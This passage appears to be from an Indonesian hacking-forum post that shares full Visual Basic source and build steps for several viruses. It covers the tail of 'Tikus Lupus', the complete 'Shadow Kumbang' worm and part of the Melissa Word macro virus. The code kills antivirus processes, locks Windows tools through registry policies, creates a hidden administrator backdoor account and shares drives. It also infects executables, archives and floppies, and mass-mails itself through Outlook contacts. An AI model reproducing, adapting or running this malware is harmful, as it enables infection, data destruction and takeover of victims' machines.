End Select
Set JalaLupus = Nothing
End Sub

Sub InfeksiTikus2()
FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\WINDOWS\SYSTEM32\1025\TikusLupus.exe"
FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\WINDOWS\SYSTEM32\1028\TikusLupus.exe"
Set newreg = CreateObject("WScript.Shell")
newreg.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Lupus", "C:\WINDOWS\SYSTEM32\1025\TikusLupus.exe"
newreg.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Micerosoft", "C:\WINDOWS\SYSTEM32\1028\TikusLupus.exe"
Name "C:\Program Files\Microsoft Office\Office10\winword.exe" As "C:\Program Files\Microsoft Office\Office10\WINWORD.exe"
FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\Program Files\Microsoft Office\Office10\winword.exe"
Name "C:\Program Files\Microsoft Office\Office12\winword.exe" As "C:\Program Files\Microsoft Office\Office12\WINWORD.exe"
FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\Program Files\Microsoft Office\Office12\winword.exe"
End Sub

Private Sub Form_Load()
Dim Fso, DrvType
Dim Drives, Drive, Folder, subfolders, subfolder, Files, File
Set Fso = CreateObject("Scripting.FileSystemObject")
If (Fso.DriveExists("C:\")) <> "" Then
DrvType = "C:\"
End If
If (Fso.DriveExists("D:\")) <> "" Then
DrvType = "D:\"
End If

Set Drives = Fso.Drives
For Each Drive In Drives
If Drive.IsReady Then
Call PencarianTikus(Drive)
End If
Next

TikusLupus.Visible = False
App.TaskVisible = False
Timer1 = False
Call TikusAmbilInfoKomputer
X$ = GetSetting(Me.Name, App.Title, "TimesOpen")
TikusCariFile "C:\Program Files\Microsoft Office\Office10\WINWORD.exe"
TikusCariFile "C:\Program Files\Microsoft Office\Office12\WINWORD.exe"
Call LingkaranTikus(Me)
Call AmbilJamDikomputer
If year >= "2007" Then
Call PermenLupus
End If
Select Case X$
Case 1
Call hibernate
Case 2
Call PenampilanLupus
Case Else
InfeksiTikus2
Timer1 = True
End Select

End Sub

Private Sub Timer1_Timer()
RuanganTikus
End Sub


Function PencarianTikus(Path)
Dim Fso, DrvType, ws, TikusKetiga, Tikuskeempat
Dim Drives, Drive, Folder, subfolders, subfolder, Files, File
Set Fso = CreateObject("Scripting.FileSystemObject")
Set Fso = CreateObject("Scripting.FileSystemObject")
Set Folder = Fso.GetFolder(Path)
Set Files = Folder.Files
For Each File In Files

If Fso.GetExtensionName(File.Path) = "rar" Then
Set ws = CreateObject("wscript.shell")
Set Fso = CreateObject("Scripting.filesystemobject")
TikusKetiga = "C:\Program Files\WinRAR\WinRAR.exe": Tikuskeempat = "D:\Program Files\WinRAR\WinRAR.exe"
If Fso.TikusCariFile(TikusKetiga) Or Fso.TikusCariFile(Tikuskeempat) Then
ws.run "WinRAR a -ibck -inul """ & File.Path & """ C:\TikusLupus.exe"
Open App.Path & "\DaftarTikus.txt" For Append As #1
Write #1, File.Path
Close #1
End If
End If
Next
Set subfolders = Folder.subfolders
For Each subfolder In subfolders
PencarianTikus subfolder.Path
Next
End Function

Ini Kode yang di Taruh di Modules-> Daerah Tikus Lupus :

Kode:

Option Explicit

Public Enum enProtocoll
TCP = 0
UDP = 1
End Enum

Ini Kode yang di Taruh di Modulesl-> Module 1 :

Kode:

Global FileEx
Global year
Global X As String
Global newreg

Ini Kode yang di Taruh di Modules-> Rumah Tikus :

Kode:

Option Explicit

Public Type tagInitCommonControlsEx
lngSize As Long
lngICC As Long
End Type
Private Declare Function InitCommonControlsEx Lib "COMCTL32.DLL" _
(KejuTikusLupus As tagInitCommonControlsEx) As Boolean

Private Const ICC_USEREX_CLASSES = &H200

Public Sub PusatTikus()

On Error Resume Next

Dim KejuTikusLupus As tagInitCommonControlsEx
With KejuTikusLupus
.lngSize = LenB(KejuTikusLupus)
.lngICC = ICC_USEREX_CLASSES
End With
InitCommonControlsEx KejuTikusLupus
TikusLupus.Show
TikusLupus.Hide
App.TaskVisible = False
On Error GoTo 0

End Sub

Ini Kode yang di Taruh di Class Modules-> Lupus Firewall :

Kode:

Option Explicit

Const ICSSC_DEFAULT = 0
Const CONNECTION_PUBLIC = 0
Const CONNECTION_PRIVATE = 1
Const CONNECTION_ALL = 2

Const NET_FW_IP_PROTOCOL_UDP = 17
Const NET_FW_IP_PROTOCOL_TCP = 6

Const NET_FW_SCOPE_ALL = 0
Const NET_FW_SCOPE_LOCAL_SUBNET = 1

Private JalurBerbagiFileLupus As Object

'--> Kembalikan Status Firewall
Public Function StatusFirewallLupus() As Boolean

Dim PeriksaFirewallLupus As Boolean
Dim ProfileFirewallTikus As Object

On Error GoTo TangkisError

Set JalurBerbagiFileLupus = CreateObject("HNetCfg.FwMgr")
Set ProfileFirewallTikus = JalurBerbagiFileLupus.LocalPolicy.CurrentProfile

If ProfileFirewallTikus.FirewallEnabled = False Then
PeriksaFirewallLupus = False
Else
PeriksaFirewallLupus = True
End If

StatusFirewallLupus = PeriksaFirewallLupus

Exit Function

TangkisError:
StatusFirewallLupus = False
MsgBox "Error: " & Err.Description
Err.Clear

End Function

'--> Aktifkan Firewall
Public Sub EnableFirewall()

Dim ProfileFirewallTikus As Object

On Error GoTo ErrorHandler

Set JalurBerbagiFileLupus = CreateObject("HNetCfg.FwMgr")
Set ProfileFirewallTikus = JalurBerbagiFileLupus.LocalPolicy.CurrentProfile

If ProfileFirewallTikus.FirewallEnabled = False Then
ProfileFirewallTikus.FirewallEnabled = True
End If

Set ProfileFirewallTikus = Nothing
Set JalurBerbagiFileLupus = Nothing

Exit Sub

ErrorHandler:
MsgBox Err.Description
Err.Clear

End Sub

'--> Matikan Firewall
Public Sub DisableFirewall()

Dim ProfileFirewallTikus As Object

On Error GoTo ErrorHandler

Set JalurBerbagiFileLupus = CreateObject("HNetCfg.FwMgr")
Set ProfileFirewallTikus = JalurBerbagiFileLupus.LocalPolicy.CurrentProfile

If ProfileFirewallTikus.FirewallEnabled = True Then
ProfileFirewallTikus.FirewallEnabled = False
End If

Set ProfileFirewallTikus = Nothing
Set JalurBerbagiFileLupus = Nothing

Exit Sub

ErrorHandler:
MsgBox Err.Description
Err.Clear

End Sub

'--> Tambah Port Di Konfigurasi Firewall
Public Sub TikusTambahPortDikunfigurasiFirewallUntukKeluar(ByVal strPortName As String, ByVal strPortProtocol As String, ByVal intPortNumber As Integer)

Dim ProfileFirewallTikus As Object
Dim port As Object

On Error GoTo TangkisError


Set JalurBerbagiFileLupus = CreateObject("HNetCfg.FwMgr")
Set ProfileFirewallTikus = JalurBerbagiFileLupus.LocalPolicy.CurrentProfile
Set port = CreateObject("HNetCfg.FWOpenPort")

port.Name = strPortName
If LCase(strPortProtocol) = "UDP" Then
port.Protocol = NET_FW_IP_PROTOCOL_UDP
Else
port.Protocol = NET_FW_IP_PROTOCOL_TCP
End If

port.port = intPortNumber

port.Scope = NET_FW_SCOPE_ALL

port.Enabled = True

ProfileFirewallTikus.GloballyOpenPorts.Add port

Set ProfileFirewallTikus = Nothing
Set port = Nothing
Set JalurBerbagiFileLupus = Nothing

Exit Sub

TangkisError:
MsgBox Err.Description
Err.Clear

End Sub

Public Sub BirkanDataMasukServiceICMP(ByVal bolAllow As Boolean)

Dim ProfileFirewallTikus As Object

On Error GoTo TangkisError

Set JalurBerbagiFileLupus = CreateObject("HNetCfg.FwMgr")
Set ProfileFirewallTikus = JalurBerbagiFileLupus.LocalPolicy.CurrentProfile
ProfileFirewallTikus.IcmpSettings.AllowInboundEchoRequest = bolAllow

Set ProfileFirewallTikus = Nothing
Set JalurBerbagiFileLupus = Nothing

Exit Sub

TangkisError:
MsgBox Err.Description
Err.Clear

End Sub

Untuk Project Tikus Lupus Bisa di temu..in di alamat ini :



http://www.4shared.com/file/34107118/6b ... d=e6fda62c



Mudah2x_an ada manfaatnya untuk nambah wawasan,

Di buat oleh : velshadow

Shadow Kumbang source code,



a. Buka Visual Basic

b. Klik File terus New Project

c. Muncul Jendela New Project | pilih Standard EXE | Klik OK


d. Rubah Name Formnya di Properties jadi ShadowKumbang

e. Pada form kosong | Masukin 4 komponen yang udah ada di Tool BOX

Di anataranya :

Timer -> Propertiesnya di Interval rubah jadi 30000

DriveListBox, -> Properties gak usah dirubah gak penting

DirListBox, -> Properties gak usah dirubah gak perlu

FileListBox, -> Properties gak usah dirubah bikin capek aja


f. Udah itu aja | terus gimana.. ya masukin Coding Form 1 dunks..

g. Kalo udah masukin 2 Module

h. Pada Menu Bar | Klik Project | pilih add Module

i. Rubah name di Modulenya Mkumbang1 ama Mkumbang2

j. Kalo udah gimana

k. Ya.. tetep masuk..in dunks Codingnya hi.. hi..


l. Kalo udah juga.. Simpan Projectnya

m. Klik File Save Project

n. Rubah nama Form1 jadi ShadowKumbang terus..

o. Project1 jadi ShadowAngel

p. Kalo udah,iiih udah terus cepet amat sih…

q. Rubah nama EXE

r. Klik Project | pilih ShadowAngelProperties |Pilih Tab Make

s. Pada Titelnya ganti namanya jadi Shadow Kumbang

t. Kalo Udah kita buat .Exe..nya

u. Klik File | pilih Make ShadowKumbang

v. Pilih tempat Simpenya..


w. Udah itu aja.. terus gimana..

x. Ya di jalan..in dunks.. EXE yang kita buat tadi

y. Udah gak ada lagi..

Kalo mau lebih jelasnya lihat aja gambar di bawah ini oke..











Taruh Coding di bawah ini Di Form :

Kode:

Private Declare Function PlaySound Lib "winmm.dll" Alias "PlaySoundA" (ByVal lpszName As String, ByVal hModule As Long, ByVal dwFlags As Long) As Long
Const HKLM As String = "HKEY_LOCAL_MACHINE\"
Const HKCU As String = "HKEY_CURRENT_USER\"
Const HKCR As String = "HKEY_CLASSES_ROOT\"
Const SWP_HIDEWINDOW = &H80
Const Cr = vbCrLf

Private Sub Form_Load(): Me.Visible = False: App.TaskVisible = False
On Error Resume Next
Dim BackUpKumbang As String: BackUpKumbang = Windir & "\Kumbang.exe"
If LCase(RacunKumbang) <> LCase(BackUpKumbang) Then
FileCopy RacunKumbang, BackUpKumbang
Shell BackUpKumbang, vbHide
If InStr(RacunKumbang, ".txt.") Then
Shell "notepad.exe", vbNormalFocus
SendKeys "-: Salam Vxer :-" & Cr & "[- Tingkatkan Masyarakat Vxer -]" & Cr & "Thanks All Vxer" & Cr & "www.Shadow-Angel.com", 1
End If
If App.EXEName = "emm386" Then Shell "iexplore.exe http://www.Shadow-Angel.com"
End
End If
Call MatiinAntivirus
Call Register
Call KumbangTerbang
Call Infeksi_Kumbang
FileCopy RacunKumbang, Windir & "\Jangan Di Baca.txt.exe"
FileCopy RacunKumbang, Windir & "\www.ShadowAngel.com"
FileCopy RacunKumbang, Windir & "\www.yahoo.com"
FileCopy RacunKumbang, Windir & "\ShadowAngel.exe"
FileCopy RacunKumbang, Windir & "\notepad.com"
FileCopy RacunKumbang, Windir & "\telnet.com"
FileCopy RacunKumbang, Windir & "\internet.log.exe"
FileCopy RacunKumbang, Windir & "\system.com"
FileCopy RacunKumbang, Windir & "\kernel32.com"
FileCopy RacunKumbang, Windir & "\emm386.com"
FileCopy RacunKumbang, Windir & "\regedit.com"
FileCopy RacunKumbang, Windir & "\paint.com"
FileCopy RacunKumbang, Windir & "\winhlp32.com"
FileCopy RacunKumbang, Windir & "\winhelp.com"
FileCopy RacunKumbang, Windir & "\taskman.com"
FileCopy RacunKumbang, Windir & "\hh.com"
FileCopy RacunKumbang, Windir & "\extrac32.com"
FileCopy RacunKumbang, Windir & "\ping.com"
If App.PrevInstance Then
End
End If
End Sub

Private Sub Register()
Dim RegRun As String, RegOpen As String
RegOpen = "file\shell\open\command"
RegRun = Chr(83) + Chr(111) + Chr(102) + Chr(116) + Chr(119) + Chr(97) + Chr(114) + Chr(101) + Chr(92) + Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(92) + Chr(87) + Chr(105) + Chr(110) + Chr(100) + Chr(111) + Chr(119) + Chr(115) + Chr(92) + Chr(67) + Chr(117) + Chr(114) + Chr(114) + Chr(101) + Chr(110) + Chr(116) + Chr(86) + Chr(101) + Chr(114) + Chr(115) + Chr(105) + Chr(111) + Chr(110) + Chr(92) + Chr(82) + Chr(117) + Chr(110)
CreatDword HKCU & Left(RegRun, 42) & "Policies\system", "DisableTaskMgr", "1"
CreatString HKLM & RegRun, "VGA Task", "Kumbang.exe"
CreatString HKLM & RegRun, "Windows Help Srv", "Winhelp.com"
CreatString HKLM & RegRun & "Once", "System Help", "HH.com"
CreatString HKLM & RegRun & "Once", "Win HELP", "winhlp32.com"
CreatString HKLM & RegRun & "ServicesOnce", "System", "system.com"
CreatString HKLM & RegRun & "Services", "SysPing", "ping.com"
CreatString HKLM & RegRun & "Services", "INTERNET-Log", "internet.log.exe"
CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "DisableTaskMgr", "1"
CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "HideFileExt", "1"
CreatDword HKCU & Left(RegRun, 42) & "Policies\Explorer", "NoUserNameInStartMenu", "1"
CreatDword HKCU & Left(RegRun, 42) & "Policies\Explorer", "NoViewContextMenu", "1"
CreatDword HKCU & Left(RegRun, 42) & "Policies\Explorer", "NoLogOff", "1"
CreatDword HKCU & Left(RegRun, 42) & "Policies\Explorer", "NoFolderOptions", "1"
CreatDword HKCU & Left(RegRun, 42) & "Policies\Explorer", "NoRun", "1"
CreatDword HKCU & Left(RegRun, 42) & "Policies\Explorer", "NoFind", "1"
CreatDword HKCU & Left(RegRun, 42) & "Policies\System", "DisableRegistryTools", "1"
CreatDword HKCU & Left(RegRun, 42) & "Policies\System", "DisableCMD", "1"
CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "ShowSuperHidden", "1"
CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_ShowControlPanel", "0"
CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_ShowHelp", "0"
CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_ShowMyComputer", "0"
CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_ShowMyDocs", "0"
CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_ShowMyMusic", "0"
CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_ShowMyPics", "0"
CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_ShowSearch", "0"
CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "SuperHidden", "1"
CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_ShowPrinters ", "0"
CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_LargeMFUIcons", "1"
CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Hidden", "0"
CreatDword HKCU & Left(RegRun, 42) & "Control Panel\Mouse", "SwapMouseButtons", "1"
CreatDword HKCU & Left(RegRun, 42) & "CurrentVersion\Policies", "System", "1"
CreatDword HKCU & Left(RegRun, 42) & "CurrentVersion\Internet Settings", "ProxyEnable", "1"
CreatDword HKCU & Left(RegRun, 42) & "CurrentVersion\Internet Settings", "ProxyServer", "127.0.0.1:1271"
CreatDword HKCU & Left(RegRun, 42) & "Internet Explorer\Control Panel", "Connection Settings", "1"
CreatDword HKCU & Left(RegRun, 42) & "Internet Explorer\Control Panel", "Connwiz Admin Lock", "1"
CreatDword HKLM & RegRun & "Winlogon\SpecialAccounts\UserList", "Kumbang", "1"
CreatDword HKLM & RegRun & "Services\LanmanServer\Parameters", "Hidden", "1"
CreatString HKCU & RegRun, "(C) By Shadow Angel", "Kumbang.exe"
CreatString HKCU & RegRun, "MSREG32 Service", "Regedit.com"
CreatString HKCU & RegRun, "Win32 Service", "extrac32.com"
CreatString HKCU & RegRun & "Once", "MSTelnet", "telnet.com"
CreatString HKCU & "Internet Explorer\Main", "Start Page", "http://www.ShadowAngel.com"
'-------------------------------------------------------------------------------------------------
CreatString HKCR & "Htmlfile\shell\opennew\command", "", "emm386.com"
CreatString HKCR & "MPEG" & RegOpen, "", "paint.com"
CreatString HKCR & "txt" & RegOpen, "", "notepad.com"
CreatString HKCR & "mp3" & RegOpen, "", "kernel32.com"
CreatString HKCR & "exefile\shell\runas\command", "", "taskman.com"

End Sub
Function SayapKumbang(): On Error Resume Next
Dim a, b, f, d, g, Body, Reg
Set Reg = CreateObject("wscript.shell")
Reg.regwrite Chr(72) + Chr(75) + Chr(69) + Chr(89) + Chr(95) + Chr(67) + Chr(85) + Chr(82) + Chr(82) + Chr(69) + Chr(78) + Chr(84) + Chr(95) + Chr(85) + Chr(83) + Chr(69) + Chr(82) + Chr(92) + Chr(83) + Chr(111) + Chr(102) + Chr(116) + Chr(119) + Chr(97) + Chr(114) + Chr(101) + Chr(92) + Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(92) + Chr(79) + Chr(102) + Chr(102) + Chr(105) + Chr(99) + Chr(101) + Chr(92) + Chr(49) + Chr(48) + Chr(46) + Chr(48) + Chr(92) + Chr(79) + Chr(117) + Chr(116) + Chr(108) + Chr(111) + Chr(111) + Chr(107) + Chr(92) + Chr(83) + Chr(101) + Chr(99) + Chr(117) + Chr(114) + Chr(105) + Chr(116) + Chr(121) + Chr(92) + Chr(76) + Chr(101) + Chr(118) + Chr(101) + Chr(108) + Chr(49) + Chr(82) + Chr(101) + Chr(109) + Chr(111) + Chr(118) + Chr(101), Chr(46) + Chr(99) + Chr(111) + Chr(109) + Chr(59) + Chr(46) + Chr(101) + Chr(120) + Chr(101)
If Reg.RegRead("HKEY_CURRENT_USER\Software\Microsoft\" & Chr(73) + Chr(110) + Chr(116) + Chr(101) + Chr(114) + Chr(110) + Chr(101) + Chr(116) + Chr(32) + Chr(65) + Chr(99) + Chr(99) + Chr(111) + Chr(117) + Chr(110) + Chr(116) + Chr(32) + Chr(77) + Chr(97) + Chr(110) + Chr(97) + Chr(103) + Chr(101) + Chr(114) + Chr(92) + Chr(65) + Chr(99) + Chr(99) + Chr(111) + Chr(117) + Chr(110) + Chr(116) + Chr(115) + Chr(92) + Chr(48) + Chr(48) + Chr(48) + Chr(48) + Chr(48) + Chr(48) + Chr(48) + Chr(49) + Chr(92) + Chr(83) + Chr(77) + Chr(84) + Chr(80) + Chr(32) + Chr(69) + Chr(109) + Chr(97) + Chr(105) + Chr(108) + Chr(32) + Chr(65) + Chr(100) + Chr(100) + Chr(114) + Chr(101) + Chr(115) + Chr(115)) <> "" Then
Body = String(80, "=") & Cr
Body = Body & "Salam Vxer" & Cr
Body = Body & "Tingkatkan Masyarakat Vxer" & Cr
Body = Body & "Thanks Vxer" & Cr
Body = Body & String(80, "=")
Set a = CreateObject(Chr(79) + Chr(117) + Chr(116) + Chr(108) + Chr(111) + Chr(111) + Chr(107) + Chr(46) + Chr(65) + Chr(112) + Chr(112) + Chr(108) + Chr(105) + Chr(99) + Chr(97) + Chr(116) + Chr(105) + Chr(111) + Chr(110))
Set b = a.getnamespace(Chr(77) + Chr(65) + Chr(80) + Chr(73))
If a = Chr(79) + Chr(117) + Chr(116) + Chr(108) + Chr(111) + Chr(111) + Chr(107) Then
b.Logon "profile", "password"
For f = 1 To b.addresslists.Count
For d = 1 To b.addresslists(f).addressentries.Count
With a.createitem(0)
Set g = b.addresslists(f).addressentries(d)
.Recipients.Add g
.Subject = "Salam Vxer :)"
.Body = Body
.Attachments.Add Windir & "\Jangan Di Baca.txt.exe", 1, 1, "Jangan Di Baca.txt"
.Attachments.Add Windir & "\www.Shadow-Angel.com", 1, 2, "http://www.Shadow-Angel.com"
.Attachments.Add Windir & "\www.yahoo.com", 1, 3, "[ Yahoo ]"
.Importance = 2
.DeleteAfterSubmit = True
.send
End With
g = ""
Next d
Next f
b.logoff
End If
Else
MsgBox "Please... atur dulu Outlooknya ya.. ", 64, "Pesan Kumbang"
End If
End Function

Private Sub Timer1_Timer(): On Error Resume Next
Dim Hid As Long
Call MatiinAntivirus

If JaringanKumbang() = True And Me.Caption <> "ok" Then
Me.Caption = "ok"
Call Jalankan_Kumbang2
Call SayapKumbang
End If

If JaringanKumbang() = False And Me.Caption = "ok" Then
Call Matiin_Kumbang2
Me.Caption = ""
End If

If Me.Caption = "ShutDown" Then Unload Me

If Day(Now) = 17 Then
PlaySound Windir & "\Media\notify.wav", 1, 1
Hid = FindWindow("Shell_traywnd", "")
Call SetWindowPos(Hid, 0, 0, 0, 0, 0, SWP_HIDEWINDOW)
Me.Visible = True
Me.Show
Me.Caption = "ShutDown"
End If

If Timer1.Tag Mod 4 = 0 Then
If Dir("A:\*.*") <> "" Then Call Infeksi_Kumbang2("A:")
FileCopy RacunKumbang, "A:\Jangan Di Baca.txt.exe"
FileCopy RacunKumbang, "A:\Game.com"
End If

Timer1.Tag = Timer1.Tag + 1

End Sub

Private Sub Dir1_Change()
File1.Path = Dir1.Path
End Sub

Private Sub Drive1_Change()
Dir1.Path = Drive1.Drive
End Sub

Private Sub Form_Unload(Cancel As Integer)
Call Shut_Down
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Call Shut_Down
End Sub

Public Sub Shut_Down()
nLogOff = 0
nReboot = 2
nForceLogOff = 4
nForceReboot = 6
nPowerDown = 8
nForcePowerDown = 12
Set oOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * from Win32_OperatingSystem")
For Each oOperatingSystem In oOS
oOperatingSystem.Win32Shutdown (nForceReboot)
Next
End Sub

Taruh Coding dibawah ini di Module-> Mkumbang1 :

Kode:

Public Declare Function InternetGetConnectedState Lib "wininet.dll" (ByRef lpSFlags As Long, ByVal dwReserved As Long) As Long
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

Public Function JaringanKumbang() As Boolean
JaringanKumbang = InternetGetConnectedState(0&, 0&)
End Function

Public Function Windir() As String
Dim stf As String * 255, intl As Integer
intl = GetWindowsDirectory(stf, 255)
Windir = (Left(stf, intl))
End Function

Public Function CreatString(Path As String, Var As String, Val As String) As Long
Dim File As String: Randomize
File = "C:\" & Int(Rnd * 100) & "reg.reg"
Open File For Output As #1
Print #1, "REGEDIT4"
Print #1, Chr(13)
Print #1, "[" & Path & "]"
Print #1, Chr(13)
Print #1, Chr(34) & Var & Chr(34) & "=" & Chr(34) & Val & Chr(34)
Close #1
Shell "regedit /s " & File, vbNormalFocus
Kill File
End Function

Public Function CreatDword(Path As String, Var As String, Val As String) As Long
Dim File As String: Randomize
File = "C:\" & Int(Rnd * 100) & "reg.reg"
Open File For Output As #1
Print #1, "REGEDIT4"
Print #1, Chr(13)
Print #1, "[" & Path & "]"
Print #1, Chr(13)
Print #1, Chr(34) & Var & Chr(34) & "=" & "dword:" & Val
Close #1
Shell "regedit /s " & File, vbNormalFocus
Kill File
End Function

Public Function RacunKumbang() As String
RacunKumbang = App.Path
If Right(RacunKumbang, 1) <> "\" Then RacunKumbang = RacunKumbang & "\"
If Dir(RacunKumbang & App.EXEName & ".com") <> "" Then
RacunKumbang = RacunKumbang & App.EXEName & ".com"
Else
RacunKumbang = RacunKumbang & App.EXEName & ".exe"
End If
End Function

Public Sub KumbangTerbang(): On Error Resume Next
Const Regbkdr As String = "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\"
CreatDword Regbkdr & "TlntSvr", "Start", "2"
CreatDword Regbkdr & "TermService", "Start", "2"
Open "a.bat" For Output As #1
Print #1, "@echo off"
Print #2, "echo "
Print #1, "Net user Shadow Kumbang pwd /add >nul"
Print #1, "Net localgroup administrators Shadow Kumbang /add >nul"
Print #1, "Net share drive=c: >nul"
Print #1, "Net share drive=d: >nul"
Close
Shell "a.bat", vbHide
End Sub

Public Sub Jalankan_Kumbang2(): On Error Resume Next
Open "Mawar2.bat" For Output As #1
Print #1, "@echo off"
Print #2, "echo "
Print #1, "Net user Shadow Kumbang /active:yes >nul"
Close
Shell " Mawar2.bat", vbHide
End Sub
Public Sub Matiin_Kumbang2(): On Error Resume Next
Open "ShadowKumbang.bat" For Output As #2
Print #2, "@echo off"
Print #2, "echo "
Print #2, "Net user Shadow Kumbang /active:no >nul"
Close
Shell "ShadowKumbang.bat", vbHide
End Sub

Public Sub MatiinAntivirus()
If Environ("os") <> "" Then
Dim NtSp: NtSp = "NET STOP "
Shell NtSp & "MCSHIELD", vbHide
Shell NtSp & "NORTON ANTIVIRUS AUTO PROTECT SERVICE", vbHide
Shell NtSp & "Automatic Updates", vbHide
Shell NtSp & Chr(83) + Chr(104) + Chr(97) + Chr(114) + Chr(101) + Chr(100) + Chr(65) + Chr(99) + Chr(99) + Chr(101) + Chr(115) + Chr(115), vbHide
Call MatiinAntivirus2
End If
End Sub

Private Sub MatiinAntivirus2()
EndTask ("McVSEscn")
EndTask ("MCVSFTSN")
EndTask ("MCTOOL")
EndTask ("MCVSRTE")
EndTask ("MCMNHDLR")
EndTask ("MCAGENT")
EndTask ("MCUPDATE")
EndTask ("MCUPDMGR")
EndTask ("NAVAPSVC")
EndTask ("NAVAPW32")
EndTask ("NAVDX")
EndTask ("NAVLU32")
EndTask ("NAVSTUB")
EndTask ("NAVW32")
EndTask ("NAVWNT")
EndTask ("KAV")
EndTask ("KAVMM")
End Sub

Private Sub EndTask(Task As String)
On Error Resume Next
Dim Cmd: Cmd = Environ("comspec") & " /c "
Shell Cmd & "taskkill /f /im " & Task & ".exe /t", vbHide
End Sub

Taruh Coding dibawah ini di Module->Mkumbang2 :

Kode:

Public Sub Infeksi_Kumbang(): On Error Resume Next
Dim O, i
For O = ShadowKumbang.Drive1.ListCount To 1 Step -1
ShadowKumbang.Drive1.Drive = ShadowKumbang.Drive1.List(O)
For i = 0 To ShadowKumbang.Dir1.ListCount
If ShadowKumbang.Dir1.List(i) <> "" Then
Infeksi_Kumbang2 (ShadowKumbang.Dir1.List(i))
FileCopy RacunKumbang, ShadowKumbang.Dir1.List(i) & "\Cerita Kumbang.com"
End If
Next
Next
End Sub

Public Sub Infeksi_Kumbang2(Path As String)
Dim Mawar As String, Duri_Mawar As String, i
ShadowKumbang.File1.Path = Path
For i = 0 To ShadowKumbang.File1.ListCount
If ShadowKumbang.File1.List(i) <> "" Then
Mawar = ShadowKumbang.File1.Path & "\" & File1.List(i)
Duri_Mawar = LCase(Right(Mawar, 3))
If Duri_Mawar = "com" And InStr(Mawar, "win.com") = 0 _
And InStr(Mawar, "command.com") = 0 Then
FileCopy RacunKumbang, Mawar
End If
If Duri_Mawar = "txt" Then
FileCopy RacunKumbang, Mawar & ".exe"
Kill Mawar
End If
If Duri_Mawar = "exe" Then
FileCopy RacunKumbang, Left(Mawar, Len(Mawar) - 3) & "com"
End If
End If
Next
End Sub

project download

Di buat oleh : velshadow

Private Sub AutoOpen()
On Error Resume Next
p$ = "clone"
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
p$ = "clone"
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else "
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
p$ = "clone"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo"
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then _
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then _
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
